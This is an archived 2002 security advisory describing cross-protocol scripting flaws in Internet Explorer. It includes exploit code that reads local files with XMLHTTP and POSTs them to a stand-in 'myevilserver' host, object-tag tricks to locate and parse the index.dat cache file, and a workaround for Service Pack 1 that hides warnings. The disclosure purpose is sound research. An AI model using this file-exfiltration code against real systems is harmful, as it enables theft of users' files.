13th Sep 2002 [SBWID-5687]
COMMAND
Leveraging cross-protocol scriptinh in MSIE whitepaper
SYSTEMS AFFECTED
All IE ?
PROBLEM
From jelmer [jkuperus@xs4all.nl] whitepaper :
Introduction
------------
The past year we have seen a great number of Cross-protocol scripting
bugs found in internet explorer Generally the dangers attributed to
these kind of bugs have been.
- cookie theft
- executing programs installed on a users pc already (without passing
parameters)
- website foring
- reading files from a users harddisk that can be opened in msie ( txt,
htm etc..)
I've allways felt that researchers where ignoring what was right in
front of them. In this post I will outline that it is infact possible
to read and send binary files and enumerate the randomly generated
temporary internet files folders (TIF) with all asociated risks
in the past it has been possible to use this information to execute
arbitrary code by firing a chm (html help file) from the TIF containing
malicious code. Eventhough I have been told this has been corrected in
MSIE6 SP1 I feel this is an accident waiting to happen. But even if it
wont allow execution there is a lot of stuff you can do with this
For instance what almost certainly be can be done is call an applet
from the tif that can chart the local directory stucture on a pc thus
downloading binary files is no longer "blind"
To prove my points I have prepared a demonstration at
http://www.xs4all.nl/~jkuperus/demo.htm
that uses the bug posted by greymagic software to enumerate the tif
filenames *WONT WORK WITH SP1 INSTALLED READ BELOW*
ok now the techincals
Reading binary files
--------------------
recent versions of internet explorer ship with an activeX component
called the XMLHTTPConnection object In a very simple sense, it allows
one to open an HTTP connection to a server, send some data, and get
some data back, all in a few lines of script or code. The data
exchanged through the XMLHTTP object is usually XML, but this is not a
requirement.
When used in the internet zone you are resticted to reading and posting
to urls from the domain the code is called from. In the localzone
however no such restrictions have been implemented so by injecting the
following code into the localzone
<script language="javascript">
var xmlhttp = new ActiveXObject ("Microsoft.XMLHTTP");
xmlhttp.Open("GET", "file:///C:/someFile.bin", false);
xmlhttp.Send();
var targethttp = new ActiveXObject ("Microsoft.XMLHTTP");
targethttp.Open("POST","http://www.myevilserver.com/servlet/RecieveServlet", false);
targethttp.Send(xmlhttp.responseBody);
</script>
one can read and send just about any file from the users filesystem as
he xmlhttp.responseBody returns an array of unsigned bytes.
Enumerating the TIF paths
-------------------------
what is the Temporary Internet Files Folder? Just about Everything you
view with your browser gets cached to disk, for faster browsing, that
way for instance when you press back the browser doesnt have to reload
all the images and text. being able to store files on a users
filesystem on a known location is generally a bad idea so microsoft
generates a number of random filesystem paths to store the temporary
content however they wheren't overly clever in designing the system
on 23 November 2000 george guninski wrote in an advisory relating to
the opject tags type handleing:
<snip> A good way is to use the Temporary Internet Files Folder
which contain cached documents and files. The problem with it is there
are several subfolders with random names. But there is a special file
"index.dat" which is something like a catalog or registry which
contains all visited URLs and which is more important the names of the
random folders in its beginning. It is locatated in
C:/WINDOWS/Temporary Internet Files/Content.IE5/
under Win9x and in
C:/Documents and Settings/USERNAME/Local Settings/Temporary Internet Files/Content.IE5/
under Win2K - so under Win2K the username of the current user must be
known or guessed which makes things more difficult.
http://www.guninski.com/parsedat-desc.html
</snip>
what this basicly means is that if we can read this index.dat file we
can enumerate the paths the mentioned "guessing of the username" is
easily cirumvented by an unpatched flaw
on januari of this year again, george guninski released an advisory on
a problem in the GetObject() function
on wich the pull replied that it is infact easy to get the path to the
index.dat file in a similar fashion
(http://msgs.securepoint.com/cgi-bin/get/bugtraq0201/1/1.html) while i
believe the directory traversal thing was patched, this way to get to
the path was never fixed.
the following code will get the path to the index.dat file, and open a
new window with the follwing URL
http://www.xs4all.nl/~jkuperus/paths.htm?file=<PATH TO INDEX.DAT>
<object classid="clsid:EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B" width="0"
height="0">
<PARAM NAME="Location" VALUE="javascript:document.writeln('
<object classid="clsid:EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B" name="o"><PARAM NAME="Location"
VALUE="file:///::{450D8FBA-AD25-11D0-98A8-0800361B1103}/../Local%20Settin
gs/Temporary%20Internet%20Files/Content.IE5/index.dat"></object><script>
setTimeout("
var matcher = new
RegExp(\'<PARAM.NAME=.Location..VALUE=.([^\\\"]*).>\');
open(\'http://www.xs4all.nl/~jkuperus/paths.htm?file=\'+matcher.exec
(o.document.body.innerHTML)[1]);
",500);</script\>')">
</object>
now that we have the path we can pass it to our XMLHTTPComponent wich
can read and parse the information contained in the file. injecting the
following code into the localzone will get this done
<script language="vbscript">
Sub extractPaths(filename)
set xmlHTTP = CreateObject("Microsoft.XMLHTTP")
xmlHTTP.open "GET",filename,false
xmlHTTP.send
contents = xmlHTTP.responseBody
for i = 0 to 7
folder = ""
for j = 81 + (i*12) to 88 + (i*12)
thischarcode = ascb(midb(contents,j,1))
folder = folder & chr(thischarcode)
next
msgbox mid(filename,1,len(filename)-9) + folder
next
end sub
</script>
I use vbscript because I couldn't get the VT_ARRAY datatype that
responseBody returns to work in javascript. Maybe some guru could
expain to me if and how this is done
Another possible use for this is being able to extract and send small
portions of larger files.
I attached a enumeration.htm file that when run in the local zone (eg.
from your disk will list the TIF folders) I have not had the time to
update the exploit yet but might do so later.
<html>
<body onload="test()">
<script language="vbscript">
Sub extractPaths(filename)
set xmlHTTP = CreateObject("Microsoft.XMLHTTP")
xmlHTTP.open "GET",filename,false
xmlHTTP.send
contents = xmlHTTP.responseBody
for i = 0 to 7
folder = ""
for j = 81 + (i*12) to 88 + (i*12)
thischarcode = ascb(midb(contents,j,1))
folder = folder & chr(thischarcode)
next
msgbox mid(filename,1,len(filename)-9) + folder
next
end sub
</script>
<script language="javascript">
document.writeln('<object id=a
classid=clsid:EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B width=0 height=0>');
document.writeln('<PARAM NAME=Location
VALUE="javascript:document.writeln("<object id=b
classid=clsid:EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B width=0 height=0><PARAM
NAME=Location
VALUE=file:///::{450D8FBA-AD25-11D0-98A8-0800361B1103}/../Local%20Settings/T
emporary%20Internet%20Files/Content.IE5/index.dat></object>");');
document.writeln('</object>');
function test() {
setTimeout(
function () {
elb = document.getElementById('b');
var matcher = new RegExp('<PARAM.NAME=.Location..VALUE=.*#([^\\"]*).>');
extractPaths(matcher.exec(elb.innerHTML)[1]);
},
2000
);
}
</script>
</body>
</html>
SOLUTION
IE6 SP 1 notes
SP1 messed things up on a couple of points so the demo wont work
anymore. however all points are still very valid as all obstacles can
be worked around obstacles encountered where
- you arent allowed to open windows to file:// mhtml:// etc resources
As thor larholm already pointed out redirection will subvert this, thus
allowing the grey magic thingie to work once more
- It isn't possible to to obtain the windows username through the
pull's code anymore
the following however will run when started in the localzone
document.writeln('<object id=a classid=clsid:EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B width=0 height=0>');
document.writeln('<PARAM NAME=Location
VALUE="javascript:document.writeln("<object id=b
classid=clsid:EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B width=0 height=0><PARAM
NAME=Location
VALUE=file:///::{450D8FBA-AD25-11D0-98A8-0800361B1103}/../Local%20Settings/T
emporary%20Internet%20Files/Content.IE5/index.dat></object>");');
document.writeln('</object>');
function test() {
setTimeout(
function () {
elb = document.getElementById('b');
var matcher = new RegExp('<PARAM.NAME=.Location..VALUE=.*#([^\\"]*).>');
extractPaths(matcher.exec(elb.innerHTML)[1]);
},
2000
);
}
there's some wierd stuff going on here basicly IE thinks VALUE=" stops
at " ( an encoded " ) and thus thinks the param is invalid so the
warning text is not shown. the tag is however still processed as
normal. Oddly however it wont work like this in the internet zone. I'd
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH